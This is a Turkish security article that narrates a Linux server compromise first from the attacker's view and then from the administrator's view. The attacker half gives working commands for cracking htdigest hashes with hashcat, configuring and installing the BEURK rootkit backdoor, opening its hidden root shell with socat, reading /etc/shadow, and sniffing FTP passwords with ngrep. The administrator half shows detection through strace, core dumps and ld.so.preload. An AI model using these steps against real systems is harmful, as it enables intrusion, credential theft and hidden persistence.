

# Gizliliğin Anatomisi

Tacettin Karadeniz \*



\* [tacettink@olympus.org](mailto:tacettink@olympus.org)

## Gizliliğin Anatomisi

Sistem güvenliğini tehlikeye düşüren bulgunun tespiti neticesinde sisteme sızma kaçınılmazdır. Sızma sonucunda sistemde yer edinen saldırganın amacı bilgisayar sisteminde daha uzun süre kalıp, kendince gerekli gözlemleri gerçekleştirmektedir.

Sisteme sızmayı başaran kişi bu amaçlarını nasıl gerçekleştirecektir?

Temel hedef yönetici(root/id=0) konumuna geçme işleminden sonra sisteme "Rootkit"<sup>1</sup> entegre etmektir. "Rootkit" entegrasyonunu başarı ile sağlarsa gizli olarak birçok işlemi gerçekleştirir.

"Rootkit" tabiri sistem güvenliği literatüründe önemli bir konuma sahiptir. Günümüzde bu kadar çok kullanılmasının sebeplerinden biri ve en önemlisi sisteme entegre edildikten sonra sistem yöneticileri tarafından zor tespit edilmesidir. Kullanılan "Rootkit" yapısı gereği tamamıyla saldırganın aktif olarak gerçekleştirdiği işlemleri sistemde gizlemektir, gözlerden uzak tutmaktır. Gerçekleşen bir saldırı sonucunda sistem üzerinde olabilecek durumların neler olduğunu hem *saldırganın*, hem de *sistem yöneticisinin* **gözü** ve **diliyle** olayı inceleyelim.

### ***Sisteme sızmaya başaran saldırganın bakış açısı ve diliyle;***

Sisteme sızma işlemi gerçekleştirdim. Kendimi belli etmeden sistemde uzun süre kalmayı başarmalıyım. Ne kadar uzun süre burada kalırsam o derece de farklı kollara dağılılabirim. İstersem başka sistemlere saldırma işlemi için alt yapı oluştururum(Botnet Command and Control (C&C)<sup>2</sup>), istersem sistemin band genişliğinden faydalanarak “torrent” dünyasına açılabilirim(dosya download/upload).

---

<sup>1</sup> Tacettin Karadeniz, *Görünmez Misafirler: Rootkit* (Haziran 22, 2002)

<https://www.olympus.net/belgeler/rootkit/gorunmez-misafirler-rootkit-126362.html>

<sup>2</sup> OpenDNS Security Whitepaper, *The Role of DNS in Botnet Command & Control*

[http://info.opendns.com/rs/opendns/images/OpenDNS\\_SecurityWhitepaper-DNSRoleInBotnets.pdf](http://info.opendns.com/rs/opendns/images/OpenDNS_SecurityWhitepaper-DNSRoleInBotnets.pdf)

Öncelikle band genişliği hakkında küçük bir fikir edinmeliyim.

```
linux$ wget -O speedtest-cli https://raw.githubusercontent.com/sivel/speedtest-cli/master/speedtest_cli.py
linux$ chmod +x speedtest-cli

linux$ ./speedtest-cli -simple
Ping: 1.564 ms
Download: 900.67 Mbit/s
Upload: 600.06 Mbit/s
```

Bulduğum bölgeye göre download/upload hızı çok iyi. Dosya barındırma/dağıtma için birebir. Tam konaklama yeri. Her ihtimale karşı sunucuda bulunan diğer kullanıcıların şifrelerini kırıp elimde buldurmam lazım. İleride ne olacağı belli olmaz. Sistemde “htpasswd” dosyasına ulaşmam güzel oldu. Tam istediğim gibi. Sistemde kullanıcıların kendi şahsi hesaplarının altında dosya kontrolü için web ara yüzü ayarlanmış. “htpasswd” dosyasında tam istediğim bilgiler mevcut. “/etc/shadow”<sup>3</sup> dosyasını da bir kenarda saklayayım.

```
linux$ cat htpasswd
computer:rutorrent:f68b54aefff11ac01a82e544e9ec898
myworld:private:03f06e58c49d280dc2aa23858feceea0
extinguisher:rutorrent:f4c4fa44cd42a68d3bf525c42066bb0c
microline3321:rutorrent:fd9eb72a702a44ce172f46434ee0df93
0dayzero:rutorrent:480343f75aa75375b645a5e3c658ad2b
superbox:rutorrent:ae4e6ef9ea1d645f8d31a50f30348f14
apache:rutorrent:ecc8fc57664569e3146182cec058ee30
r00t:superuser:2c497b2639f7230d4ffaf7df7b0243eb
oldman67:private:22612bd5025ddd8a1a52fcbaaa9ce3a4
arnborg:rutorrent:e8e9ee430087a778a1170abff75559d1
heroes:rutorrent:51629f4075b0b13089c193f75ab72915
```

“htpasswd” dosyası “htdigest”<sup>4</sup> ile oluşturulmuş. Kullanıcıların şifrelerini kırmak için belli bir prosedürün dışına çıkmam gerekecek anlaşılabilir. Kırma işlemini hızlı bir şekilde gerçekleştirmek için ekran kartımın gücünden yararlanmalıyım. Bu işlem için “hashcat”<sup>5</sup> benim için vazgeçilmez olacak.

---

<sup>3</sup> shadow

<http://belgeler.gen.tr/man/man5/man5-shadow.html>

<sup>4</sup> htdigest, *manage user files for digest authentication*  
<https://httpd.apache.org/docs/2.2/programs/htdigest.html>

<sup>5</sup> hashcat

<http://hashcat.net/oclhashcat/>

R:\cudashcat-1.37> htdigest2john.exe httpasswd > sifre.txt

computer:\$dynamic_4\$f68b54aeffff11ac01a82e544e9ec898\$HEX\$636f6d70757465723a7275746f7272656e743a
myworld:\$dynamic_4\$03f06e58c49d280dc2aa23858feceea0\$HEX\$6d79776f726c643a707269766174653a
extinguisher:\$dynamic_4\$f4c4fa44cd42a68d3bf525c42066bb0c\$HEX\$657874696e67677569736865723a7275746f7272656e743a
microline3321:\$dynamic_4\$fd9eb72a702a44ce172f46434ee0df93\$HEX\$6d6963726f6c696e65333332313a7275746f7272656e743a
0dayzero:\$dynamic_4\$480343f75aa75375b645a5e3c658ad2b\$HEX\$306461797a65726f3a7275746f7272656e743a
superbox:\$dynamic_4\$a4e6ef9ea1d645f8d31a50f30348f14\$HEX\$7375706572626f783a7275746f7272656e743a
apache:\$dynamic_4\$ecc8fc57664569e3146182cec058ee30\$HEX\$6170616368653a7275746f7272656e743a
r00t:\$dynamic_4\$2c497b2639f7230d4ffaf7df7b0243eb\$HEX\$723030743a7375706572757365723a
oldman67:\$dynamic_4\$22612bd5025ddd8a1a52fcbaaa9ce3a4\$HEX\$6f6c646d616e36373a707269766174653a
arnborg:\$dynamic_4\$e8e9ee430087a778a1170abff75559d1\$HEX\$61726e626f72673a7275746f7272656e743a
heroes:\$dynamic_4\$51629f4075b0b13089c193f75ab72915\$HEX\$6865726f65733a7275746f7272656e743a

“cudashcat” kullanımını için şifre dosyasını uygun formata getirmeme az kaldı. “htdigest2john” dosyası ile dönüşüm işlemi ile başladığım süreci gerekli düzenleme ile bitirmem gerekiyor. Oluşturduğum “sifre.txt” dosyasını düzenledikten sonra “cudashcat”ı rahatlıkla kullanabilirim. “sifre.txt” dosyasında yer alan “kullanıcı ad” ve “dynamic\_4” kısımları ayıklayıp “\$HEX\$” bölümünü de “.” ile değiştirdim mi işlem bitmiştir.

“kelimelerim.txt” dosyasını olası şifreleri barındıran diğer adıyla “wordlist” dosyası hazırda beklemektedir.

“cudashcat”i kullanma vakti:

R:\cudashcat-1.37> cudaHashcat64.exe -m 20 --hex-salt sifre.txt kelimelerim.txt

Watchdog: Temperature abort trigger set to 90c
Watchdog: Temperature retain trigger set to 80c
Device #1: Kernel ./kernels/4318/m00020_a0.sm_21.64.cubin
...
Generating dictionary stats for G:\WordList_Sozluk\kelimelerim.txt: 2013206220 ...
Generating dictionary stats for G:\WordList_Sozluk\kelimelerim.txt: 2044058553 ...
[s]tatus [p]ause [r]esume [b]ypass [q]uit =>
...
Added hashes from file sifre.txt: 11 (11 salts)
e8e9ee430087a778a1170abff75559d1:61726e626f72673a7275746f7272656e743a: <b>00myheroes00</b>
f68b54aeffff11ac01a82e544e9ec898:636f6d70757465723a7275746f7272656e743a: <b>helloman</b>
03f06e58c49d280dc2aa23858feceea0:6d79776f726c643a707269766174653a: <b>mycity</b>

Sunucuda bulunan kullanıcılardan bazılarının şifrelerini kırmayı başardım. İşlem tamamdır. Yedekte şifre bulundurmak her zaman işe yaramaktadır.

Evet, şifrelerde tamam. Sıra geldi gizlenmeye. En iyi yollardan biri “Rootkit” tir. Güncel Rootkit olarak “beurk”u<sup>6</sup> kullansam iyi olacak. Sistem yöneticisi fazla uğraşmazsa tespit edilmem zorlaşır. Tespit edilirse de sanırım elde ettiğim şifrelerle kendime yeni bir yol haritası çizmem gerekecek.

Odayzero@linux:~/_BEURK_\$ ls -la			
-rw-r--r--	1	Odayzero Odayzero	1787 Nov 23 13:29 beurk.conf
-rwxr-xr-x	1	Odayzero Odayzero	4546 Nov 23 10:58 client.py
-rw-r--r--	1	Odayzero Odayzero	46 Nov 23 10:58 .coveralls.yml
drwxr-xr-x	2	Odayzero Odayzero	4096 Nov 23 13:35 includes
-rw-r--r--	1	Odayzero Odayzero	4083 Nov 23 10:58 Makefile
-rw-r--r--	1	Odayzero Odayzero	2679 Nov 23 10:58 Makefile.dep
drwxr-xr-x	3	root root	4096 Nov 23 13:35 obj
-rwxr-xr-x	1	Odayzero Odayzero	11119 Nov 23 10:58 reconfigure
drwxr-xr-x	3	Odayzero Odayzero	4096 Nov 23 13:35 src
drwxr-xr-x	4	Odayzero Odayzero	4096 Nov 23 10:58 tests
-rw-r--r--	1	Odayzero Odayzero	565 Nov 23 10:58 .travis.yml
drwxr-xr-x	2	Odayzero Odayzero	4096 Nov 23 10:58 utils
drwxr-xr-x	2	Odayzero Odayzero	4096 Nov 23 10:58 vagrant

“beurk.conf” dosyasını kendime göre düzenledikten sonra “Rootkit”i sisteme entegre ettiğimde işlem biter. “beurk.conf” dosyasında uzaktan bağlantı {arkakapı/backdoor} için gerekli konfigürasyonu yaptım. Sisteme kurduğumda istediğim zaman kullanıcı şifrelerini kullanmadan backdoor aracılığı ile sisteme bağlanabilirim. Ayrıca sisteme yüklediğim dosyaları gözden korumak için Rootkit konfigürasyon dosyasına(beurk.conf) hangi dizinin görünmeyeceğini belirttim.

Sistemde oluşturduğum \_BEURK\_ adlı dizinin görünmemesi için gerekli ayarları yaptım. Artık Rootkiti aktif ettiğimde istediğim dizin gözlerden uzak olacak ve backdoor vasıtasıyla sistem bağlanabileceğim. Kırdığım şifrelerde yedekte kalsın.

---

<sup>6</sup> BEURK Experimental Unix RootKit,  
<https://github.com/unix-thrust/beurk>

...

*Herhangi bir gün...*

...

Sunucuya yerleştirdiğim Rootkit aracılığı ile gizli bir kapıdan bağlanmanın vakti geldi. Bunun için “socat” aracını kullanıp gizli bir şekilde bağlanmaya deneyeyim.

```
C:\Users\attacker\Desktop\socat -,raw,echo=0 TCP:ROOTKİT_IP_ADRESS:3005,bind=:64385
```

Rootkit kurulum esnasında konfigürasyon “beurk.conf” dosyasına tanımladığım şifreyi yazdıgımda bağlantı sağlanacaktır.

```
C:\Users\attacker\Desktop\socat -,raw,echo=0 TCP:ROOTKİT_IP_ADRESS:3005,bind=:64385
```

```
Welcome to BEURK's hidden shell ...
```

```
root@linux: /home/0dayzero/_BEURK_#
```

Bingo!!!

“Rootkit”im halen aktif. Güzel bir haber. Birkaç inceleme yaptıktan sonra sunucudan çıkayım.

```
C:\Users\attacker\Desktop\socat -,raw,echo=0 TCP:ROOTKİT_IP_ADRESS:3005,bind=:64385
```

```
Welcome to BEURK's hidden shell ...
```

```
root@linux: /home/0dayzero/_BEURK_# pwd
```

```
/home/0dayzero/_BEURK_
```

```
root@linux: /home/0dayzero/_BEURK_# id
```

```
uid=0(root) gid=0(root) groups=0(root)
```

```
root@linux: /home/0dayzero/_BEURK_# cat /etc/shadow
```

```
root:$6$7uW6qYOy$jkhjUyJHjhBNMFtYUOI89273889nrbvgfT/78809876utuytr54765876uyt68768687bvbvchgfg:16730:0:99999:7:::
```

```
.....
```

```
.....
```

```
root@linux: /home/0dayzero/_BEURK_# ngrep -wi -d eth0 'user|pass' port ftp or port 24
```

```
interface: eth0 (ROOTKIT_IP)
filter: (ip or ip6) and ( port ftp or port 24 )
match: ((^user|pass\W)|(\Wuser|pass$)|(\Wuser|pass\W))
####
T ROOTKIT_IP:41431 -> IP_WEBHOSTING:24
USER webhostinguser000
####
T ROOTKIT_IP:41431 -> IP_WEBHOSTING:24
PASS qLkMuTgYn8.91
#####
```

İnceleme sonuç vermeye başladı. “ngrep”<sup>7</sup> aracılığı ile sunucu üzerinden başka bir sisteme ait FTP bağlantısı tespit ettim. Webhosting firmasına ait bir kullanıcı gibi görünmekte. İleride bu kullanıcı adı/şifreyi başka bir amaç için kullanabilirim.

USER webhostinguser000 , PASS qLkMuTgYn8.91 bildirimini kullanıcı/şifre arşivime yeni bir ekleme daha yapmam gerektiğine ait bir sinyal... Biraz daha bekleyeyim, bakalım neler olacak....

...  
...  
...

Yukarı anlattığım kısım daha önce ifade ettiğim gibi saldırganın bakış açısı ve dilinden bir anlatım durumudur. Durumu sunucuyu kontrol eden, yöneten kişinin bakış açısıyla incelemeye çalışalım.

#### ***Sistem yöneticisinin bakış açısı ve diliyle;***

Sunucuda hesabı olan bir kullanıcı Deluge Web ara yüzünde kendisinin tanımlamadığı bir dosyanın yüklenmeye çalışıldığını, sonrasında indirilmeye çalışılan bu dosyanın silindiğini ifade etti. Anlık olarak bu durumu fark etmesi ilginç. Acaba sunucuda bir gariplik olabilir mi?

---

<sup>7</sup> ngrep – network grep

<https://github.com/unix-thrust/keurk>

```
nmap --script=sniffer-detect SERVER_IP
```

```
..  
..  
..
```

Host script results:

```
[_sniffer-detect: Likely in promiscuous mode ( tests: "11111111")]
```

“nmap”<sup>8</sup> aracı ile küçük bir test yaptığımda çıkan sonuç kesin bir sonuç mu? Sistemde cidden bir sniffer<sup>9</sup> olabilir mi? Biri root yetkisini elde edip kullanıcıların bağlantılarını inceleme şansını yakalamış olma olasılığı mevcut mu? Şifreleri elde geçirmiş midir?

Küçük(!) bir sonuç, düşünceler içerisinde kaybolmama neden oldu.

İncelemeye devam etmeliyim.

```
root    34  0.0  0.0    0    0  ?      S<   18:38  0:00 [ipv6_addrconf]  
root    35  0.0  0.0    0    0  ?      S<   18:38  0:00 [deferwd]  
root    36  0.0  0.0    0    0  ?      S    18:38  0:00 [kworker/u2:1]  
root    72  0.0  0.0    0    0  ?      S<   18:38  0:00 [ata_sff]  
root    84  0.0  0.0    0    0  ?      S    18:38  0:00 [scsi_eh_0]  
root    85  0.0  0.0    0    0  ?      S<   18:38  0:00 [scsi_tmf_0]  
root    87  0.0  0.0    0    0  ?      S    18:38  0:00 [scsi_eh_1]  
root    88  0.0  0.0    0    0  ?      S<   18:38  0:00 [scsi_tmf_1]  
root    89  0.0  0.0    0    0  ?      S    18:38  0:00 [scsi_eh_2]  
root    90  0.0  0.0    0    0  ?      S<   18:38  0:00 [scsi_tmf_2]  
root    95  0.0  0.0    0    0  ?      S<   18:38  0:00 [kworker/0:1H]  
root   130  0.0  0.0    0    0  ?      S    18:38  0:00 [jbd2/sda1-8]  
root   131  0.0  0.0    0    0  ?      S<   18:38  0:00 [ext4-rsv-conve  
root   172  0.0  0.0  37308  332  ?      Ss   18:38  0:00 /lib/systemd/sy  
root   173  0.0  0.0    0    0  ?      S    18:38  0:00 [kauditd]  
root   186  0.0  0.0  49980  16  ?      Ss   18:38  0:00 /lib/systemd/sy  
root   262  0.0  0.0    0    0  ?      S<   18:38  0:00 [kpsmoused]  
root   274  0.0  0.0    0    0  ?      S<   18:38  0:00 [iprt-VBoxWQueu  
root   505  0.0  0.0  14836  136  tty1   Ss   18:38  0:00 /bin/sh -c /sbi  
root   508  0.0  0.4  33020  6172  tty1   S    18:38  0:00 bash  
root   530  0.0  0.0    0    0  ?      S    18:58  0:00 [kworker/0:2]  
root   531  0.0  0.0    0    0  ?      S    19:03  0:00 [kworker/0:0]  
root   566  0.0  0.0    0    0  ?      S    19:08  0:00 [kworker/0:1]  
root   569  0.0  0.2  27472  2660  tty1   R+   19:10  0:00 ps -aux
```

---

<sup>8</sup> Nmap: the Network Mapper

<https://nmap.org/>

<sup>9</sup> SANS Institute, *Packet Sniffing In a Switched Environment*,

<https://www.sans.org/reading-room/whitepapers/networkdevs/packet-sniffing-switched-environment-244>



Sistem çalışan uygulamaları(ps), yüklü Kernel modüllerine baktığımda(lsmmod) dikkat çeken bir durum görünmüyor. Acaba; sistem bir saldırgan tarafından ele geçirildiyse “netstat” komutunun beni yanıltma şansı var mı?

```
# strace netstat 2> &1
```

```
execve("/bin/netstat", ["netstat"], [/* 17 vars */]) = 0
brk(0) = 0x23f1000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f9e68c3a000
access("/etc/ld.so.preload", R_OK) = 0
open("/etc/ld.so.preload", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=20, ...}) = 0
mmap(NULL, 20, PROT_READ|PROT_WRITE, MAP_PRIVATE, 3, 0) = 0x7f9e68c39000
close(3) = 0
open("/lib/libsecurity.so", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\3\0\0\0\1\0\0\0p\22\0\0\0\0\0"... , 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=18920, ...}) = 0
mmap(NULL, 2114520, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f9e68817000
mprotect(0x7f9e6881b000, 2093056, PROT_NONE) = 0
mmap(0x7f9e68a1a000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x3000) = 0x7f9e68a1a000
close(3) = 0
munmap(0x7f9e68c39000, 20) = 0
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=126701, ...}) = 0
mmap(NULL, 126701, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f9e68c1b000
```

“netstat” komutu icrası esnasında neler döndüğüne baktığımda dikkatimi;

```
open("/lib/libsecurity.so",..)
```

satırı çekti. Bu dosyada neyin nesi?

“netstat” neden bu dosyaya ihtiyaç duyuyor ki?

“/lib/libsecurity.so” dosyasına bakayım.

```
# ls -la /lib/libsecurity.so
```

```
ls: cannot Access /lib/libsecurity.so: No such file or directory
```

```
~# ls -la /lib/libsecurity.so
ls: cannot access /lib/libsecurity.so: No such file or directory
~# file /lib/libsecurity.so
/lib/libsecurity.so: cannot open '/lib/libsecurity.so' (No such file or directory)ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=9a9a37460b4f16cab5b7f399a6432a2752f3e09c, stripped
```

```
# file /lib/libsecurity.so
```

```
/lib/libsecurity.so: cannot open `/lib/libsecurity.so' ....(!!!!!)
```

Şüpheli dosyayı incelemeye(basit bir şekilde) çalıştırdığımda dosya hakkında net bilgi elde edemedim. Dosya hakkında durum bilgisi almaya çalıştığımda sistemin kararsız olduğunu algıladım. İlginç bir konuya denk geldim. Hem dosya yok , hem de “shared object” ifadesi dönüyor. Belirsizlik ??????

Sunucuda garipliklerin uçtuğu belli. Tam bir baş ağrısı bir durum. Sucunu elden kayıp gitmiş?!?!?

‘Bu gizliliğin temel sebebi nedir?’ Sorusu kulaklarımda uğuldamaya neden oluyor.

İncelememe devam ediyorum...

Sistem çalışan uygulamalara tekrar bakmam gerekiyor. Küçük bir ip ucu ile bu gizliliği açığa çıkarmam lazım.

```
root      89  0.0  0.0      0      0 ?          S    18:38  0:00  [scsi_ah_2]
root      90  0.0  0.0      0      0 ?          S<   18:38  0:00  [scsi_tmf_2]
root      95  0.0  0.0      0      0 ?          S<   18:38  0:00  [kworker/0:1H]
root     130  0.0  0.0      0      0 ?          S    18:38  0:00  [jbd2/sda1-8]
root     131  0.0  0.0      0      0 ?          S<   18:38  0:00  [ext4-rsv-conve
root     172  0.0  0.0    37308   332 ?          Ss   18:38  0:00  /lib/systemd/sy
root     173  0.0  0.0      0      0 ?          S    18:38  0:00  [kauditd]
root     186  0.0  0.0   49980    16 ?          Ss   18:38  0:00  /lib/systemd/sy
root     262  0.0  0.0      0      0 ?          S<   18:38  0:00  [kpsmoused]
root     274  0.0  0.0      0      0 ?          S<   18:38  0:00  [iprt-VBoxWQueu
root     505  0.0  0.0   14836   136 tty1      Ss   18:38  0:00  /bin/sh -c /sbi
root     508  0.0  0.4   33020   6172 tty1      S    18:38  0:00  bash
root     530  0.0  0.0      0      0 ?          S    18:58  0:00  [kworker/0:2]
root     531  0.0  0.0      0      0 ?          S    19:03  0:00  [kworker/0:0]
root     566  0.0  0.0      0      0 ?          S    19:08  0:00  [kworker/0:1]
root     569  0.0  0.2   27472   2660 tty1      R+   19:10  0:00  ps -aux
# gcore 505
warning: Could not load shared library symbols for /lib/libsecurity.so.
Do you need "set solib-search-path" or "set sysroot"?
0x00007fea2cfb83ba in wait4 () at ../sysdeps/unix/syscall-template.S:81
31      ../sysdeps/unix/syscall-template.S: No such file or directory.
warning: target file /proc/505/cmdline contained unexpected null characters
warning: Memory read failed for corefile section, 8192 bytes at 0x7ffeef3e9000.
Saved corefile core.505
```

Çalışan uygulamaları incelediğimde bir süreçte “/bin/sh -c /sbin...” bildirimini dikkatimi çekti.

Hafıza(memory) durumunu bir inceleyeyim.

```
# gcore 505
```

```
Saved corefile core.505
```

Süreçteki hafıza durumunu inceleyeyim.

```
# strings core.505
```

```

fffff.
fffff.
="
=b#
fffff.
AWAVAUATSH
[A\A]A^A_]
Os#H
;*3$"
TERM=xterm
%d: %64[0-9A-Fa-f]:%X %64[0-9A-Fa-f]:%X %X %1X:%1X %X:%1X %1X %d %d %1u %512s\n
BEURK_ATTACKER=true
tongel
/lib
_BEURK_
beurkroot

```

Nedir bu sonuç? Hafıza durumu sistemin bana tehlikeli bir döngü içerisinde olduğunu ifade ediyor.!!!! Artık eminim. Sisteme tehlikeli bir uygulama yüklenmiş.

```

_BEURK_
BEURK_ATTACKER=true
beurkroot
tongel

```

Bu kelimeler hiç iyi bir kelimelere benzemiyor.  
Hafıza dökümünü incelemeye devam ediyorum.

```

/var/log/wtmp
Welcome to BEURK's hidden shell ...
HISTFILE=/dev/null
/proc/net/tcp
/dev/stderr
/var/run/utmp
/bin/bash
libsecurity.so
/proc/
BEURK_ATTACKER
%s/envIRON
/proc/net/tcp6
accept
access
rmdir
open
readdir
readdir64
stat
stat64
__xstat
__xstat64
lstat
lstat64
--More--

```

Düşünceler.. Derin düşüncelerde kaybolmalar. Sisteme bir Rootkit enjekte edildiğini görüyorum. Sistemin iç kale duvarlarına bir delik açıldığı fark ediliyor.

“Welcome to BEURK’s hidden shell ...”

Rootkit aracılığıyla gizliden gizliye her an işlemlerin gerçekleşeceği belli oldu. /lib/libsecurity.so dosyası ana dosya. Gizliliğin temel kaynağı. Bu dosya sisteme yüklendiğinde gizliliğin aktif hale geldiği belli. “Rootkit” gizli bir dizini gün açığına çıkartmadığı kesin. “\_BEURK\_” bir gizli dizin mi?

“tongel” kelimesi neyi ifade ediyor?

Öncelikle “libsecurity.so” dosyasının sistemde aktif olmasını engellemeliyim

“netstat” uygulamasının çalışmasını takip ettiğimde “/lib/libsecurity.so” dosyasından önce “/etc/ld.so.preload” dosyasına erişim gerçekleşmekteydi. Bu dosyayı kontrol edeyim.

```
# cat /etc/ld.so.preload
```

```
/lib/libsecurity.so
```

Hemen bu dosya içerisindeki “libsecurity.so” satırını kaldırayım.

Hafıza dökümünde bulduğum kelimelere ilişkin araştırmaya devam ediyorum.

```
# find / -name “*BEURK*” -print
```

```
/home/0dayzero/_BEURK_
```

Temel besin kaynağı ortaya çıktı. /home dizinindeki 0dayzero kullanıcı dosyalarını inceliyorum.

İncelemede \_BEURK\_ dizinini görüyorum.

```
_BEURK_# ls -la
.           interceptor_android  README.txt
..          interceptor_bsd       reconfigure
1           interceptor.exe       settings.cfg
beef_injection_framework  interceptor_ios       src
beurk.conf  interceptor_macosx   ssh.dll
certs       Interceptor-NG.exe  ssh-sniffer.py
CHANGELOG.txt  Interceptor-NG.v097.zip  tester
client.py     libsecurity.so       tests
CONTRIBUTING.md  LICENSE              TODO.md
cookiertools-0.3  Makefile             .travis.yml
cookiertools-0.3.tgz  Makefile.dep        utils
.coveralls.yml  MITMf                vagrant
demo.png       newbox               vns.sh
.git           obj                  wpcap.dll
.gitignore    Packet.dll           xenotix_keylogX.xpi
includes      README.md
```

Sunucuya aktarılan ve Rootkit tarafından gizlenen dosyalar ortaya çıktı.

“beurk.conf” dosyasına bakıyorum.

```
LIBRARY_NAME = libsecurity.so
INFECT_DIR = /lib
XOR_KEY = 0xfe
DEBUG_LEVEL = 0
DEBUG_FILE = /dev/stderr
MAGIC_STRING = _BEURK
PAM_USER = beuroot
LOW_BACKDOOR_PORT = 64830
HIGH_BACKDOOR_PORT = 64840
SHELL_PASSWORD = tongel
SHELL_MOTD = Welcome to BEURK's hidden shell ...
SHELL_TYPE = /bin/bash
HIDDEN_ENV_VAR = BEURK_ATTACKER
_ENV_IS_ATTACKER = BEURK_ATTACKER=true
_ENV_NO_HISTFILE = HISTFILE=/dev/null
_ENV_XTERM = TERM=xterm
_UTMP_FILE = /var/run/utmp
_WTMP_FILE = /var/log/wtmp
PROC_NET_TCP = /proc/net/tcp
PROC_NET_TCP6 = /proc/net/tcp6
PROC_PATH = /proc/
SCANF_PROC_NET_TCP = %d: %64[0-9A-Fa-f]:%X %64[0-9A-Fa-f]:%X %X %lX:%lX %X:%lX %lX %d %d %lu %512s\n
ENV_LINE = %s/environ
MAX_LEN = 4125
```

Rootkitin sistemde açtığı backdoor şifresi de yapılandırma dosyasında belirtilmiş(password: tongel).

Durum ortada...

## *Sonuç*

Bir sistem açısından gerçekleřebilecek potansiyel etkiyi hem saldırgan gözünden hem de sistem yöneticisi gözünden incelemeye çalıştım.

Saldırgan, bulduđu açık vasıtasıyla “root” yetkisini elde edip, sunucuda barındırılan kullanıcı hesaplarını takipten sonra yeni kaynak arayışına girmiřtir.

Nedir bu kaynaklar?

- Sunucuda tanımlı kullanıcıların takibiyle bu kullanıcıların bađlandıkları diđer sunucuların şifrelerini elde etme,
- Sunucuyu WEB Proxy olarak kullanmak için gerekli ayarların yapılması,
- Dosya sunucusu olarak kullanmak için gerekli düzenlemelerin yapılması,
- Torrent amaçlı kullanım için düzenlemelerin yapılması.

08.12.2015

Tacettin Karadeniz  
tacettink{@}olympus.org